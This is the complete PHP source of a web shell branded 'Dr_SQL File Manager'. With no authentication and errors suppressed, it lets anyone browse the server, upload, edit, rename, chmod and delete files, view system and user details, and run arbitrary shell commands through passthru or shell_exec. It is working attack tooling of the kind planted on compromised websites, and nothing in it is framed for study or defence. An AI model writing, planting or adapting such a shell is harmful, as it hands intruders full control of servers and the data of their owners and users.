<?php
error_reporting(0);

if (isset($_GET['d'])) {
    $decoded = urldecode($_GET['d']);
    if (is_dir($decoded)) {
        @chdir($decoded);
    }
}

$me = basename(__FILE__);
$bckC = '#333333';
$txtC = '#999999';
$current_dir = getcwd();

// === Handle Actions ===
if ($_POST['action'] === 'upload' && !empty($_FILES['file']['name'])) {
    $name = basename($_FILES['file']['name']);
    @move_uploaded_file($_FILES['file']['tmp_name'], $name);
}
if ($_POST['action'] === 'mkdir' && !empty($_POST['name'])) {
    @mkdir($_POST['name']);
}
if ($_POST['action'] === 'mkfile' && !empty($_POST['name'])) {
    @file_put_contents($_POST['name'], '');
}
if ($_GET['action'] === 'delete_file' && !empty($_GET['path'])) {
    @unlink(urldecode($_GET['path']));
}
if ($_GET['action'] === 'delete_dir' && !empty($_GET['path'])) {
    @rmdir(urldecode($_GET['path']));
}
if ($_POST['action'] === 'rename' && !empty($_POST['old']) && !empty($_POST['new'])) {
    @rename($_POST['old'], $_POST['new']);
}
if ($_POST['action'] === 'chmod' && !empty($_POST['path']) && !empty($_POST['mode'])) {
    @chmod($_POST['path'], octdec($_POST['mode']));
}

// === Output HTML ===
print <<<HTML
<html>
<head>
    <title>Dr_SQL</title>
    <style>
        body { background: {$bckC}; color: {$txtC}; font: 9pt 'Trebuchet MS', sans-serif; margin: 0; padding: 10px; }
        a { color: {$txtC}; text-decoration: none; }
        a:hover { color: #79a317; }
        .header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 15px; }
        .breadcrumb { margin: 10px 0; font-size: 10pt; }
        .breadcrumb a { color: #79a317; }
        .actions { margin: 15px 0; padding: 10px; background: #222; border-radius: 8px; display: grid; grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); gap: 10px; }
        .actions form { display: flex; gap: 5px; }
        .actions input { background: {$bckC}; color: {$txtC}; border: 1px solid {$txtC}; border-radius: 5px; padding: 3px 6px; }
        .actions button { background: #444; color: #79a317; border: 1px solid #555; border-radius: 5px; cursor: pointer; }
        table { width: 100%; border-collapse: collapse; margin-top: 10px; }
        th, td { padding: 8px 5px; text-align: left; border-bottom: 1px solid #444; }
        th { color: #79a317; font-weight: bold; }
        tr:hover { background: rgba(121,163,23,0.05); }
        .file-icon { width: 16px; margin-right: 5px; }
        .perm-writable { color: #ccff00; }
        .perm-readable { color: {$txtC}; }
        .perm-locked { color: crimson; }
        .btn { background: rgba(0,0,0,0.3); color: {$txtC}; border: 1px solid {$txtC}; border-radius: 4px; padding: 2px 6px; margin: 0 2px; text-decoration: none; font-size: 8pt; }
        .btn:hover { background: #79a317; color: black; }
        .hidden { display: none; }
        .popup { background: #222; padding: 10px; border: 1px solid #555; border-radius: 5px; position: absolute; z-index: 10; }
    </style>
    <script>
        function togglePopup(id) {
            let el = document.getElementById(id);
            el.style.display = el.style.display === 'block' ? 'none' : 'block';
        }
        function closePopup(id) {
            document.getElementById(id).style.display = 'none';
        }
    </script>
</head>
<body>
HTML;

// === Breadcrumb ===
function getBreadcrumb($path) {
    $parts = explode('/', trim(str_replace('\\', '/', $path), '/'));
    $build = '';
    $curr = '/';
    $html = '<a href="?">Root</a>';
    foreach ($parts as $part) {
        if ($part === '') continue;
        $curr = rtrim($curr, '/') . '/' . $part;
        $html .= ' / <a href="?d=' . urlencode($curr) . '">' . htmlspecialchars($part) . '</a>';
    }
    return $html;
}

echo '<div class="header">';
echo '<h2 style="color:#79a317; margin:0;">ðŸ“ Dr_SQL File Manager</h2>';
echo '<a href="?x=info" style="color:#79a317;">[Info]</a>';
echo '</div>';

echo '<div class="breadcrumb">' . getBreadcrumb($current_dir) . '</div>';

// === Quick Actions ===
$enc_dir = urlencode($current_dir);
echo <<<ACTIONS
<div class="actions">
    <form method="POST">
        <input type="hidden" name="action" value="mkdir">
        <input type="text" name="name" placeholder="New Folder" required>
        <button type="submit">ðŸ“ Create Dir</button>
    </form>
    <form method="POST">
        <input type="hidden" name="action" value="mkfile">
        <input type="text" name="name" placeholder="New File" required>
        <button type="submit">ðŸ“„ Create File</button>
    </form>
    <form method="POST" enctype="multipart/form-data">
        <input type="hidden" name="action" value="upload">
        <input type="file" name="file" required>
        <button type="submit">â¬†ï¸ Upload</button>
    </form>
    <form method="POST" action="?x=cmd&d={$enc_dir}">
        <input type="text" name="cmd" placeholder="Command" style="width:120px;">
        <button type="submit">ðŸ’» CMD</button>
    </form>
</div>
ACTIONS;

// === File List ===
$items = [];
if ($dh = @opendir('.')) {
    while (($f = readdir($dh)) !== false) {
        if ($f === '.' || $f === '..') continue;
        $items[] = $f;
    }
    closedir($dh);
    natcasesort($items); // Natural sort (a1, a10, a2 â†’ a1, a2, a10)
}

echo '<table>';
echo '<thead><tr><th>Name</th><th>Size</th><th>Permissions</th><th>Owner/Group</th><th>Actions</th></tr></thead>';
echo '<tbody>';

foreach ($items as $item) {
    $path = $current_dir . DIRECTORY_SEPARATOR . $item;
    $isDir = is_dir($item);
    $size = $isDir ? '-' : number_format(filesize($item));
    $perm = substr(sprintf('%o', fileperms($item)), -4);
    $color = is_writable($item) ? 'perm-writable' : (is_readable($item) ? 'perm-readable' : 'perm-locked');

    // Owner/Group
    $owner = $group = '???';
    if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
        $o = @posix_getpwuid(@fileowner($item));
        $g = @posix_getgrgid(@filegroup($item));
        $owner = $o ? $o['name'] : '???';
        $group = $g ? $g['name'] : '???';
    }

    $enc_item = urlencode($item);
    $enc_path = urlencode($path);

    $edit_link = $isDir ? "?d={$enc_path}" : "?x=edit&f={$enc_item}";
    $name_display = htmlspecialchars($item) . ($isDir ? '/' : '');

    echo '<tr>';
    echo "<td><a href=\"{$edit_link}\">{$name_display}</a></td>";
    echo "<td>{$size}</td>";
    echo "<td><span class=\"{$color}\">{$perm}</span></td>";
    echo "<td>{$owner}:{$group}</td>";
    echo "<td>";
    
    // Actions
    if (!$isDir) {
        echo "<a href=\"?x=edit&f={$enc_item}\" class=\"btn\">Edit</a>";
    }
    
    // Rename Popup
    echo " <a href=\"javascript:togglePopup('rename_{$enc_item}')\" class=\"btn\">Rename</a>";
    echo "<div id=\"rename_{$enc_item}\" class=\"popup hidden\">";
    echo "<form method=\"POST\">";
    echo "<input type=\"hidden\" name=\"action\" value=\"rename\">";
    echo "<input type=\"hidden\" name=\"old\" value=\"{$item}\">";
    echo "<input type=\"text\" name=\"new\" value=\"{$item}\" style=\"width:120px;\">";
    echo " <button type=\"submit\">âœ“</button>";
    echo " <button type=\"button\" onclick=\"closePopup('rename_{$enc_item}')\">âœ•</button>";
    echo "</form></div>";

    // Chmod Popup
    echo " <a href=\"javascript:togglePopup('chmod_{$enc_item}')\" class=\"btn\">Chmod</a>";
    echo "<div id=\"chmod_{$enc_item}\" class=\"popup hidden\">";
    echo "<form method=\"POST\">";
    echo "<input type=\"hidden\" name=\"action\" value=\"chmod\">";
    echo "<input type=\"hidden\" name=\"path\" value=\"{$item}\">";
    echo "<input type=\"text\" name=\"mode\" value=\"{$perm}\" placeholder=\"755\" style=\"width:60px;\">";
    echo " <button type=\"submit\">âœ“</button>";
    echo " <button type=\"button\" onclick=\"closePopup('chmod_{$enc_item}')\">âœ•</button>";
    echo "</form></div>";

    // Delete
    $del_action = $isDir ? 'delete_dir' : 'delete_file';
    echo " <a href=\"?action={$del_action}&path={$enc_path}\" class=\"btn\" onclick=\"return confirm('Delete?')\">Del</a>";

    echo "</td></tr>";
}

echo '</tbody></table>';

// === Handle Special Views ===
if ($_GET['x'] === 'edit') {
    $file = urldecode($_GET['f']);
    if ($_POST['save'] === '1') {
        file_put_contents($file, $_POST['content']);
        echo '<div style="color:#79a317; margin:10px;">âœ… Saved!</div>';
    }
    $content = file_exists($file) ? htmlspecialchars(file_get_contents($file)) : '';
    echo '<h3>âœï¸ Editing: ' . htmlspecialchars($file) . '</h3>';
    echo '<form method="POST">';
    echo '<textarea name="content" style="width:100%; height:400px; background:#222; color:#fff; padding:10px; border:1px solid #555;">' . $content . '</textarea>';
    echo '<br><input type="hidden" name="save" value="1">';
    echo '<button type="submit" style="margin-top:10px; background:#79a317; color:black; padding:8px 15px; border:none; border-radius:4px;">ðŸ’¾ Save</button>';
    echo ' <a href="?" style="color:#79a317;">â† Back</a>';
    echo '</form>';
} elseif ($_GET['x'] === 'info') {
    // Info panel (same as before)
    $moreI = [
        'PHP Version' => phpversion(),
        'Server Software' => $_SERVER['SERVER_SOFTWARE'],
        'Uname' => php_uname(),
        'User' => get_current_user() . ' (uid:' . getmyuid() . ' gid:' . getmygid() . ')',
        'Safe Mode' => ini_get('safe_mode') ? 'ON' : 'OFF',
        'Open BaseDir' => ini_get('open_basedir') ?: 'OFF',
        'MySQL' => function_exists('mysqli_connect') ? 'ON' : 'OFF',
        'Curl' => extension_loaded('curl') ? 'ON' : 'OFF',
        'Disk Total' => @disk_total_space('/') ? round(@disk_total_space('/') / (1024**3), 2) . ' GB' : 'N/A',
        'Disk Free' => @disk_free_space('/') ? round(@disk_free_space('/') / (1024**3), 2) . ' GB' : 'N/A',
        'Your IP' => $_SERVER['REMOTE_ADDR'],
        'Server IP' => $_SERVER['SERVER_ADDR'] ?? 'N/A'
    ];
    echo '<h3>â„¹ï¸ System Info</h3><table style="width:100%; background:#222; padding:10px;">';
    foreach ($moreI as $k => $v) {
        echo "<tr><td>{$k}</td><td>: {$v}</td></tr>";
    }
    echo '</table><br><a href="?" style="color:#79a317;">â† Back</a>';
} elseif ($_GET['x'] === 'cmd') {
    if ($_POST['cmd']) {
        echo '<pre style="background:#000; color:#0f0; padding:10px; border-radius:5px;">';
        if (function_exists('passthru')) {
            @passthru($_POST['cmd']);
        } elseif (function_exists('shell_exec')) {
            echo @shell_exec($_POST['cmd']);
        } else {
            echo "Command execution not available.";
        }
        echo '</pre>';
    }
    echo '<h3>ðŸ’» Command Executor</h3>';
    echo '<form method="POST"><input type="text" name="cmd" style="width:50%; background:#222; color:#fff; padding:5px;" placeholder="ls -la">';
    echo '<button type="submit">Run</button></form>';
    echo '<br><a href="?" style="color:#79a317;">â† Back</a>';
}

print '</body></html>';
?>